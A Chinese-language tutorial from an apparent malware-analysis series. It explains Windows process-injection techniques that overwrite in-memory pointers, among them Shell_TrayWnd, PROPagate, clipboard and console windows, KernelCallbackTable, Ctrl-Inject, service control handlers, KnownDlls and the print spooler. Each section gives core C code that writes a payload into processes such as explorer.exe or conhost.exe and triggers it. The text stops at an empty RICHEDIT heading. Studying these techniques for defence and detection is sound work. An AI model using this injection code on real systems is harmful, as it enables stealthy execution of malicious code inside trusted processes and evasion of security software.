【恶意代码分析技巧】14-修改内存指针实现进程注入

  • A+

上一篇文章中介绍的注入技术都是传统的注入技术,通用性好,但是也很容易被安全软件发现。随着研究的深入,攻击者们发现了新的注入技术,这类注入技术只攻击内存中特定的对象,修改内存指针,使得指针指向payload,再利用特定的操作触发payload执行。
在这方面研究较多的是hexacorn(超链接:http://www.hexacorn.com/index.html)和modexp(超链接:https://modexp.wordpress.com),他们还在不断发现新的注入点,可以持续关注他们的文章。

1.从WndProc到EWM

1.1.WndProc

我们在windows上看到的大多数东西,包括开始菜单、任务栏、按钮等都是某种形式的窗口(也有很多窗口是不可见的)。一般使用RegidsterClass和CreateWindow创建窗口:

ATOM WINAPI RegisterClass( //注册窗口类
In const WNDCLASS lpWndClass //窗口结构WNDCLASSA
);
typedef struct tagWNDCLASSA { //窗口结构
UINT style;//窗口类型
WNDPROC lpfnWndProc;//窗口处理函数(回调函数)
int cbClsExtra;//窗口扩展(一般为0)
int cbWndExtra;//窗口实例扩展(一般为0)
HINSTANCE hInstance;//实例句柄
HICON hIcon;//窗口的最小化图标
HCURSOR hCursor;//窗口鼠标光标
HBRUSH hbrBackground;//窗口背景颜色
LPCSTR lpszMenuName;//窗口菜单
LPCSTR lpszClassName;//窗口类名
} WNDCLASSA,
PWNDCLASSA, NPWNDCLASSA, LPWNDCLASSA;
HWND CreateWindow( //创建窗口
LPCTSTR lpClassName,//窗口类的名称
LPCTSTR lpWindowName,//窗口的标题

DWORD dwStyle,//窗口风格
int x,//初始x坐标
int y,//初始y坐标
int nWidth,//初始x方向的尺寸
int nHeight,//初始y方向的尺寸
HWND hWndParent,//父窗口句柄
HMENU hMenu,//窗口菜单句柄
HANDLE hlnstance,//程序实例句柄
LPVOID lpParam//创建参数

窗口对象(WNDCLASS)的第二个成员就是窗口的消息处理函数——WndProc。

LRESULT CALLBACK WindowProc(
In HWND hwnd,
In UINT uMsg,
In WPARAM wParam,
In LPARAM lParam
);

攻击者可以将恶意代码放在病毒程序的WndProc中。当有消息传递到病毒程序时,病毒程序调用DispatchMessage进行消息分发,调用WndProc执行恶意代码。我们在恶意代码分析时,可以通过RegidsterClass定位WndProc,再进一步分析WndProc中是否存在恶意代码。攻击者可以将恶意代码放在病毒程序的WndProc中的情况很常见,但是这里并没有利用到注入技术。
理论上说,攻击者也可以利用注入技术,修改合法程序的WndProc,令合法程序在进行消息处理时执行恶意代码。但这里有一个难点,我们如何在目标进程中准确定位WndProc?很可惜,我们没有办法直接定位WndProc,只有在某些特定的情况下,我们才可能获取WndProc的地址,如果这个地址恰好又可以被其他进程读写,那么这就是一个注入点。

1.2.Shell_TrayWnd注入

“Shell_TrayWnd”窗口是windows任务栏窗口,由explorer.exe创建,主要是用于管理状态栏及任务栏的。
在“Shell_TrayWnd”窗口额外字节索引0的地方存储着“CTray”对象:

image.png

“Shell_TrayWnd”中用于处理消息的对象是“CTray”对象用于处理NotifyMessage的消息,“CTray”对象是未公开的对象,该对象的定义如下:

// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
ULONG_PTR vTable;

ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR WndProc; // window procedure

} CTray;

该对象中的消息处理函数是WndProc函数,幸运的是,这一次我们可以修改WndProc函数,执行payload。
为什么这一次,我们可以修改WndProc函数?因为,这个WndProc函数属于“CTray”对象,“CTray”对象是“Shell_TrayWnd”窗口的一个属性。对于窗口的属性,我们可以调用GetWindowLong/GetWindowLongPtr获取属性的地址:

LONG_PTR GetWindowLongPtr(
HWND hWnd,// 窗口句柄
int nIndex // 表示窗口属性的值,Shell_TrayWnd中使用0表示CTray对象
);

于是,我们便能够获取WndProc的地址,接下来就可以想办法修改WndProc的值了。
“CTray”对象的WndProc函数指针是只读的,我们无法直接修改WndProc函数。但是,我们可以构造了一个新的“CTray”对象,然后调用SetWindowLong改变“Shell_TrayWnd”的属性,使得Shell_TrayWnd使用新的“CTray”对象,从而执行payload。
SetWindowLong函数原型:

LONG SetWindowLong( // 改变窗口的属性
HWND hWnd, // 窗口句柄
int nlndex, // 表示窗口属性的值,Shell_TrayWnd中使用0表示CTray对象
LONG dwNewLong // 新的值
);

由于该技术是在WindowsBytes中注入的,因此该技术又被称为ExtraWindow Bytes(EWM),有时候也叫ExtraWindow Bytes Inject(EWMI)。
理解了原理就会发现该技术并不难,核心就是重写“Shell_TrayWnd”窗口里的CTray对象。该技术的核心代码:

HWND hWindow = FindWindowA("Shell_TrayWnd", NULL);
DWORD process_id;
GetWindowThreadProcessId(hWindow, &process_id);//找出窗口的创建者
DWORD64 old_obj = GetWindowLongPtrA(hWindow, 0);
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false,process_id);//获取Explorer.exe进程和Shell_TrayWnd窗口信息
LPVOID target_payload = VirtualAllocEx(h, NULL, sizeof(payload), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL); // 向目标进程写入payload
DWORD64 new_obj[2];
LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(new_obj), MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);
new_obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(new_obj[1])构造新的新的CTray对象
new_obj[1] = (DWORD64)target_payload;//CTray对象的WndProc执行payload
WriteProcessMemory(h, target_obj, obj, sizeof(new_obj), NULL);//向目标进程写入新的CTray对象
SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj);//重新设置CTray对象
SendNotifyMessageA(hWindow, WM_PAINT, 0, 0); //执行注入代码
Sleep(1);
SetWindowLongPtrA(hWindow, 0, old_obj);//恢复CTray对象

1.3.tooltips_class注入

ToolTips就是一个类似于一个悬浮的文本框,在鼠标指针悬停在用户界面中的元素上时,工具提示会自动显示:

image.png

image.png

这可以帮助用户确定文件,按钮或菜单项的用途。
这些工具提示功能是由tooltips_class窗口提供的,在tooltips_class内部,则是“windowsbytes”索引零处的结构中。

image.png

该结构并没有公开,根据网上资料,其结构应该是这个样子的,该结构中的第一个条目是指向名为CToolTipsMgr的类对象的指针:

typedef struct _IUnknown_VFT {
// IUnknown
LPVOID QueryInterface;
LPVOID AddRef;
LPVOID Release;

// CToolTipsMgr
LPVOID ptrs[128];
} IUnknown_VFT;
这次,我们的攻击思路和Shell_TrayWnd一节中的思路差不多,核心代码:
// 1.找到工具提示窗口。
//读取窗口字节的索引零

hw = FindWindow(L"tooltips_class32", NULL);
p = (LPVOID)GetWindowLongPtr(hw, 0);
GetWindowThreadProcessId(hw, &pid);
// 2.打开进程并读取CToolTipsMgr

hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
ReadProcessMemory(hp, p, &ptr, sizeof(ULONG_PTR), &rd);
ReadProcessMemory(hp, ptr, &unk, sizeof(unk), &rd);
// 3.分配RWX内存并在其中写入有效负载。
//更新回调

cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4.分配RW内存并写入新的CToolTipsMgr

unk.AddRef = cs;
ds = VirtualAllocEx(hp, NULL, sizeof(unk),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hp, ds, &unk, sizeof(unk), &wr);
// 5.更新指针,触发执行
WriteProcessMemory(hp, p, &ds, sizeof(ULONG_PTR), &wr);
PostMessage(hw, WM_USER, 0, 0);

1.4.PROPagate

PROPagate——繁殖的意思,这里指的是窗口子类化的过程。
窗口子类化-----------是创建一个新的窗口函数代替原来的窗口函数。在子类化过程中,旧窗口过程被保留,而新窗口被显示在当前的窗口中。新的窗口将会拦截所有消息,完成它的任务后再调用旧的窗口。
窗口子类化是通过SetWindowSubclass函数实现的。SetWindowSubclass将旧的窗口信息信息保存在一个新的内存区域。这个新的内存区域是SUBCLASS_HEADER结构的,是窗口的一个属性,被称为UxSubclassInfo或CC32SubclassInfo(根据系统版本不同而不同)。

typedef struct _SUBCLASS_HEADER {
UINT uRefs; // subclass count
UINT uAlloc; // allocated subclass call nodes
UINT uCleanup; // index of call node to clean up
DWORD dwThreadId; // thread id of window we are hooking
SUBCLASS_FRAME pFrameCur; // current subclass frame pointer
SUBCLASS_CALL CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER,
PSUBCLASS_HEADER;
typedef struct _SUBCLASS_FRAME {
UINT uCallIndex; // index of next callback to call
UINT uDeepestCall; // deepest uCallIndex on stack
struct _SUBCLASS_FRAME pFramePrev; // previous subclass frame pointer
struct _SUBCLASS_HEADER
pHeader; // header associated with this frame
} SUBCLASS_FRAME, PSUBCLASS_FRAME;

可以看到,SUBCLASS_HEADER结构偏移0x18位置的CallArray存储的就是回调函数。
新的窗口建立后,如果有新的消息来了,新的窗口首先会处理,然后调用GetProp,获取旧的窗口信息,将消息传递给旧的窗口的消息处理函数(位于SUBCLASS_HEADER偏移0x18的结构中)。
于是,我们便有了新的攻击思路,如果我们修改了SUBCLASS_HEADER偏移0x18的数据,我们就可以执行payload了。
这里,我们使用GetProp获取UxSubclassInfo或CC32SubclassInfo,而不是像前文一样使用GetWindowLong,这是因为GetWindowLong、SetWindowLong和SetClassLong(GetWindowLongPtr、SetWindowLongPtr和SetClassLongPtr替代)只适用于本进程中的窗口或者全局窗口(CS_GLOBALCLASS)。而GetProp和SetProp不受此限制。这俩API的函数原型:

HANDLE GetPropA(//从给定窗口的属性列表中检索数据句柄
HWND hWnd,//指向要搜索属性表的窗口
LPCSTR lpString //属性名称,字符串或原子
);
BOOL SetPropA(//该函数在指定窗口的属性表中增加一个新项,或者修改一个现有项
HWND hWnd,//指向要搜索属性表的窗口
LPCSTR lpString,//属性名称,字符串或原子
HANDLE hData //要修改的数据
);

所有准备工作都完成了,我们可以开始尝试进程注入了,核心代码:

// 1.获取父窗口句柄

pwh = FindWindow(L"Progman", NULL);
//2.获取子窗口句柄

cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);
// 3.获取子类标题的句柄

p = GetProp(cwh, L"UxSubclassInfo");
// 4.获取explorer.exe的进程ID

GetWindowThreadProcessId(cwh, &id);
// 5.打开进程(一般都是explorer.exe )
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
//6.读取当前子类标题
ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);
// 7.为新的子类标题分配RW内存

psh = VirtualAllocEx(hp, NULL, sizeof(sh),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//8.为有效负载分配RWX内存
pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 9. 将payload写入内存
WriteProcessMemory(hp, pfnSubclass,payload, payloadSize, &wr);
// 10.将pfnSubclass字段设置为有效负载地址,并将写回到处理内存

sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
// 11.使用SetProp

SetProp(cwh, L"UxSubclassInfo", psh);
// 12.触发经由窗口消息payload
PostMessage(cwh, WM_CLOSE, 0, 0);
// 13.恢复原始子类标题
SetProp(cwh, L"UxSubclassInfo", p);

1.5.CLIPBRDWNDCLASS

这次我们我们攻击的是CLIPBRDWNDCLASS窗口的“ClipboardDataObjectInterface”属性(也可以攻击ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA属性),攻击思路和前面相似。
CLIPBRDWNDCLASS中有很多与剪贴板相关的窗口属性。如果ClipboardDataObjectInterface设置为IUnknown接口的地址,并且CLIPBRDWNDCLASS窗口过程收到WM_DESTROYCLIPBOARD消息时,它将调用IUnknown接口的Release方法。

// fake interface //伪接口
typedef struct _IUnknown_t {
// a pointer to virtual function table //指向虚拟函数表
ULONG_PTR lpVtbl;
// the virtual function table //虚拟功能表
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;

攻击者可以利用SetProp(..,L"ClipboardDataObjectInterface",..)重新设置IUnknown接口的Release方法,从而执行任意payload。核心代码:

// 1.找到一个私人剪贴板,获取进程ID并打开它

hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
GetWindowThreadProcessId(hw, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 2.在进程中分配RWX内存并写入有效负载

cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 3.分配正在进行的RW内存,初始化并写入IUnknown接口

ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
iu.lpVtbl = (ULONG_PTR)ds + sizeof(ULONG_PTR);
iu.Release = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
// 4.设置接口属性并触发执行
SetProp(hw, L"ClipboardDataObjectInterface", ds);
PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);

在上文的demo中,除了使用FindWindowEx定位CLIPBRDWNDCLASS窗口,modexp还介绍了通过TEB查找私有剪贴板的方法:
①打开线程;
②查询ThreadBasicInformation;
③读tbi.TebBaseAddress;
④从teb.ReservedForOle中读SOleTlsData;
⑤读hwndClip;

2.USERDATA

窗口的用户数据(UserData)是窗口的属性之一,可以通过SetWindowLongPtr这个API和GWLP_USERDATA参数设置的用户数据。用户数据通常用于存储一个指向类对象的指针。
ConsoleWindowClass窗口——控制台窗口(宿主进程是conhost.exe),它的用户数据中存放的是一个结构体的指针。该结构体中的包含了窗口在当前桌面上的位置,窗口尺寸,对象句柄以及一个带有控制控制台窗口行为方法的类对象。又因为,ConsoleWindowClass的用户数据存放在一个有写权限的堆上,所以我们很容易就可以通过进程注入修改类对象执行任意payload了。
使用Spy++分析ConsoleWindowClass。WindowProc 字段是空的,UserData字段指向了一个虚拟地址:

image.png

该位置存储了一个结构,该结构定义了conhost用来控制控制台窗口行为的虚拟表:
typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
举个例子,当conhost.exe(ConsoleWindowClass)接收到WM_SETFOCUS消息时,conhost.exe首先会调用GetWindowHandle处理该消息。如果我们将上述结构中指向GetWindowHandle的指针修改为payload地址,那么我们就可以执行任意payload了。
具体步骤和核心代码如下:
// 1. 获取控制台窗口的句柄和进程ID(PPID)
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
GetWindowThreadProcessId(hwnd, &ppid);
// 2. 获取主机进程(conhost.exe)的进程ID(PPID)
pid = conhostId(ppid);
// 3. 打开conhost.exe进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. 分配RWX内存,并在相应位置复制Payload
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. 读取当前虚拟函数表的地址
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. 将当前虚拟函数表读入本地内存
ReadProcessMemory(hp, (LPVOID)vTable,(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. 为新虚拟函数表分配RW内存
ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 8. 使用Payload地址更新虚拟函数表的本地副本(更新GetWindowHandle),并写入远程进程
cw.GetWindowHandle = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. 更新远程进程中虚拟函数表的指针
WriteProcessMemory(hp, (LPVOID)udptr, &ds,sizeof(ULONG_PTR), &wr);
// 10. 触发Payload的执行
SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. 恢复指向原始虚拟函数表的指针
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,sizeof(ULONG_PTR), &wr);

3.KernelControlTable

KernelCallbackTable是一个结构体,我可以在PEB中找到这个结构体的指针,KernelCallbackTable的结构体如下:
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
...
ULONG_PTR __ClientLoadLibrary;
...
ULONG_PTR __ClientImmProcessKey;
...
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。KernelCallbackTable里面记录的都是函数指针,用于从内核"回调"用户空间的函数。
这些函数通常用于响应窗口消息。例如,当WM_COPYDATA消息来了,就会执行_fnCOPYDATA,而当一个键盘消息来了,就会执行__ClientImmProcessKey。
攻击者可以通过修改KernelCallbackTable里的值,当特定消息来临时执行payload。
这里以_fnCOPYDATA为例,介绍攻击的方式。
_fnDWORD函数原型:
typedef struct _FNCOPYDATAMSG {
CAPTUREBUF CaptureBuf;
PWND pwnd;
UINT msg;
HWND hwndFrom;
BOOL fDataPresent;
COPYDATASTRUCT cds;
ULONG_PTR xParam;
PROC xpfnProc;
} FNCOPYDATAMSG;
DWORD _fnCOPYDATA(FNCOPYDATAMSG *pMsg);
在攻击的过程中,我们只需复制现有KernelCallbackTable表,将_fnCOPYDATA功能设置为payload,用新表的地址更新PEB并使用调用WM_COPYDATA,从而执行payload。核心代码:
// 1. 打开进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 2. 读进程的 PEB

NtQueryInformationProcess(hp,ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
ReadProcessMemory(hp, pbi.PebBaseAddress,&peb, sizeof(peb), &rd);
ReadProcessMemory(hp, peb.KernelCallbackTable,&kct, sizeof(kct), &rd);
// 3. 写payload
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. 修改__fnCOPYDATA
ds = VirtualAllocEx(hp, NULL, sizeof(kct),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr);
// 5. 更新 PEB
WriteProcessMemory(hp,(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),&ds, sizeof(ULONG_PTR), &wr);
// 6. 执行payload
cds.dwData = 1;
cds.cbData = lstrlen(msg) * 2;
cds.lpData = msg;
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
除此之外我们还可以利用其他的事件触发其他函数。比较常用的两个分别是__ClientImmProcessKey和__ClientLoadLibrary:
DWORD ClientImmProcessKey(
IN HWND hWnd,
IN HKL hkl,
IN UINT uVKey,
IN LPARAM lParam,
IN DWORD dwHotKeyID);
HANDLE ClientLoadLibrary(
IN PUNICODE_STRING pstrLib,
IN BOOL bWx86KnownDll);
__ClientImmProcessKey主要用于处理键盘消息,可以被用于设置键盘记录;__ClientLoadLibrary负责将SetWindowsHookEx()注册的DLL加载到目的进程中。关于这两个函数的应用可以参考下列文章:
https://blog.csdn.net/cosmoslife/article/details/49744383
https://opcode0x90.wordpress.com/2007/05/11/user32__clientloadlibraryx/

4.Ctrl-Inject

4.1.1.控制信号处理

我们在控制台(如cmd.exe或powershell.exe)中输入Ctrl+C时,控制台就会终止当前正在运行的程序,这是因为我们发送信号后,系统进程csrss.exe就会在目标进程中调用新的函数CtrlRoutine ,该函数使用名为HandlerList的全局变量来存储回调函数列表,在该函数中迭代它,直到其中一个hander返回TRUE通知该信号已被处理。
HandlerList是一个函数列表,全局变量HandlerListLength指明了HandlerList的长度。HandlerList和HandlerListLength变量都是保存在kernelbase.dll中的,并且由于此模块映射到所有进程的相同地址,所以可以在我们的进程中找到它们的地址,然后使用WriteProcessMemory在(远程)目标进程中更新它们的值。
如果我们控制了HandlerList,我们可以使用控制信号,触发被我们修改的回调函数了。

4.1.2.Ctrl-Inject进程注入

在正式注入之前,我们还有一个问题需要解决。HandlerList中的每个指针都使用RtlEncodePointer进行编码,并在执行之前使用RtlDecodePointer进行解码。我们在修改HandlerList中的指针时,要对其进行编码,幸运的是,windows提供了RtlEncodeRemotePointer和RtlDecodeRemotePointer函数帮助我们在目标进程中对指针进行编码并返回。
理论准备工作结束了,我们可以通过以下几步进行Ctrl-Inject注入:
①调用VirtualAllocEx和WriteProcessMemory向目标进程写入payload;
②调用RtlEncodeRemotePointer(process_handle,ptr, &encoded_ptr)对指向payload的指针进行编码;
③调用WriteProcessMemory修改kernelbase!SingleHandler;
④触发控制信号,执行payload;
核心代码:
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE,process_id); // RtlEncodeRemotePointer需要PROCESS_VM_OPERATION
//....写入payload...
void* encoded_addr = NULL;
ntdll!RtlEncodeRemotePointer(h, target_execution, &encoded_addr);// 编码
WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL);//修改HandlerList
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = 0;

SendInput(1, &ip, sizeof(INPUT));//模拟信号发送
Sleep(100);
PostMessageA(hWindow, WM_KEYDOWN, 'C', 0); // 信号消息发送

5.攻击ServiceCtrlHandler

在本系列第12篇文章中,我们已经介绍了服务。服务启动时,它将调用ServiceMain,ServiceMain中将调用RegisterServiceCtrlHandler(RegisterServiceCtrlHandlerEx)来注册服务控制处理程序。
在服务与SCM的通信过程中,SCM将服务控制消息发送给服务的宿主程序,服务宿主程序将调用相应的服务控制函数(ServiceCtrlHandler)进行相应操作。
那么,问题来了,服务宿主程序是如何找到ServiceCtrlHandler的呢?
原来在服务宿主程序中有一个INTERNAL_DISPATCH_ENTRY结构的数组,该数组存储在sechost.dll的内存空间中。服务启动时,将会初始化该结构,服务宿主程序通过该结构定位ServiceCtrlHandler。INTERNAL_DISPATCH_ENTRY的结构如下(windows10中有一些变化):

typedef struct _INTERNAL_DISPATCH_ENTRY {
LPWSTR ServiceName;
LPWSTR ServiceRealName;
LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
LPHANDLER_FUNCTION_EX ControlHandler;
HANDLE StatusHandle;
DWORD ServiceFlags;
DWORD Tag;
HANDLE MainThreadHandle;
DWORD dwReserved;
} INTERNAL_DISPATCH_ENTRY;
typedef struct _INTERNAL_DISPATCH_ENTRY {
LPWSTR ServiceName;
LPWSTR ServiceRealName;
LPWSTR ServiceName2; // Windows 10
LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
LPHANDLER_FUNCTION_EX ControlHandler;
HANDLE StatusHandle;
DWORD64 ServiceFlags; // 64-bit on windows 10
DWORD64 Tag;
HANDLE MainThreadHandle;
DWORD64 dwReserved;
DWORD64 dwReserved2;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
该结构体中的ControlHandler就是ServiceCtrlHandler。
于是,我们的攻击思路就来了,如果我们修改了该结构体中的ControlHandler,岂不就能执行payload了吗?
事实的确可行的,此文(超链接:https://github.com/odzhan/injection/tree/master/svcctrl)就利用此技术实现了进程注入,其核心代码:

// 1.打开服务控制管理器

hm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
// 2.打开目标服务
hs = OpenService(hm, se->service, SERVICE_INTERROGATE);
// 3. 打开目标进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid);
// 4. Allocate RWX memory for payload
pl = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 5. 向目标进程写payload
WriteProcessMemory(hp, pl, payload, payloadSize, &wr);
// 6. Copy the existing entry to local memory INTERNAL_DISPATCH_ENTRY结构,用于定位控制处理程序
CopyMemory(&ide, &se->ide, sizeof(ide));
// 7. 更新服务标志和ControlHandler
ide.ControlHandler = pl;
ide.ServiceFlags = SERVICE_CONTROL_INTERROGATE;
// 8. 向目标进程更新IDE
WriteProcessMemory(hp, se->ide_addr,&ide, sizeof(ide), &wr);
// 9. 触发执行payload
ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss);

6.攻击KnowDlls

进程在运行过程中会用加载KnowDlls,本节的攻击技术是在进程加载KnowDlls之后,替换KnowDlls目录对象句柄,用新的DLL替换原有的DLL。
获取KnowDlls目录对象句柄的方式有两个:
①KnowDlls目录对象句柄存储在一个称为ntdll!LdrpKnownDllDirectoryHandle(如图2所示)的全局变量中,可以通过搜索NTDLL的.data的段来找到该句柄。
②SystemHandleInformation类传递给NtQuerySystemInformation将返回系统上所有打开的句柄的列表。为了指定一个特定的过程,我们将每个SYSTEM_HANDLE_TABLE_ENTRY_INFO结构中的UniqueProcessId值都与目标PID进行比较。循环查询HandleValue的名字。然后将该名称与“KnownDlls”进行比较,如果找到匹配项,则将其HandleValue返回给调用方,该HandleValue就是我们要找的句柄。

核心代码:

hp = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, FALSE, pid);
// 1.获取KnownDlls目录对象句柄,使用上述两种方式之一
target_handle = GetKnownDllHandle2(pid, hp);
// 2. 创建空的对象目录,对插入DLL的命名部分进行劫持 使用DLL的文件句柄注入

InitializeObjectAttributes(&da, NULL, 0, NULL, NULL);//初始化OBJECT_ATTRIBUTES结构
nts = NtCreateDirectoryObject(&dir, DIRECTORY_ALL_ACCESS, &da);//创建目录对象
// 2.1 打开伪造的DLL
RtlDosPathNameToNtPathName_U(fake_dll, &fn, NULL, NULL);//将DOS路径解析成NT路径
InitializeObjectAttributes(&fa, &fn, OBJ_CASE_INSENSITIVE, NULL, NULL);
nts = NtOpenFile(&hf, FILE_GENERIC_READ | FILE_GENERIC_WRITE | FILE_GENERIC_EXECUTE,&fa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, 0);
// 2.2 使用伪造的DLL映像
RtlInitUnicodeString(&sn, target_dll);
InitializeObjectAttributes(&sa, &sn, OBJ_CASE_INSENSITIVE, dir, NULL);
nts = NtCreateSection(&hs, SECTION_ALL_ACCESS, &sa,NULL, PAGE_EXECUTE, SEC_IMAGE, hf);
// 3. 关闭远程进程

NtSuspendProcess(hp);
DuplicateHandle(hp, target_handle,GetCurrentProcess(), NULL, 0, TRUE, DUPLICATE_CLOSE_SOURCE);
// 4. 创建新句柄
DuplicateHandle(GetCurrentProcess(), dir, hp,NULL, 0, TRUE, DUPLICATE_SAME_ACCESS);
NtResumeProcess(hp);
CloseHandle(hp);

7.后台打印服务

打印程序通过回调函数响应消息。
回调函数记录在CBE结构中:
typedef struct _TP_CALLBACK_ENVIRON_V3 {
TP_VERSION Version;
PTP_POOL Pool;
PTP_CLEANUP_GROUP CleanupGroup;
PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback;
PVOID RaceDll;
struct _ACTIVATION_CONTEXT *ActivationContext;
PTP_SIMPLE_CALLBACK FinalizationCallback;
union {
DWORD Flags;
struct {
DWORD LongFunction : 1;
DWORD Persistent : 1;
DWORD Private : 30;
} s;
} u;
TP_CALLBACK_PRIORITY CallbackPriority;
DWORD Size;
} TP_CALLBACK_ENVIRON_V3;
我们想办法将Callback函数替换为payload,就能在执行回调函数的时候执行payload了。
核心代码:
// 申请内存
cs = VirtualAllocEx(hp, NULL, payloadSize + sizeof(tp_param),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (cs != NULL) {
// 写payload
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 复制 CBE
CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX));
// 复制原始回调函数地址copy original callback address and parameter
tp.Callback = cpy.Callback;
tp.CallbackParameter = cpy.CallbackParameter;
//再目标进程写入callback+parameter
WriteProcessMemory(hp, (LPBYTE)cs + payloadSize, &tp, sizeof(tp), &wr);
// 更新回调函数
cpy.Callback = (ULONG_PTR)cs;
cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + payloadSize;
// 更新CBE
WriteProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr);
// 执行 payload
if (OpenPrinter(NULL, &phPrinter, NULL)) {
ClosePrinter(phPrinter);
}
}

8.RICHEDIT

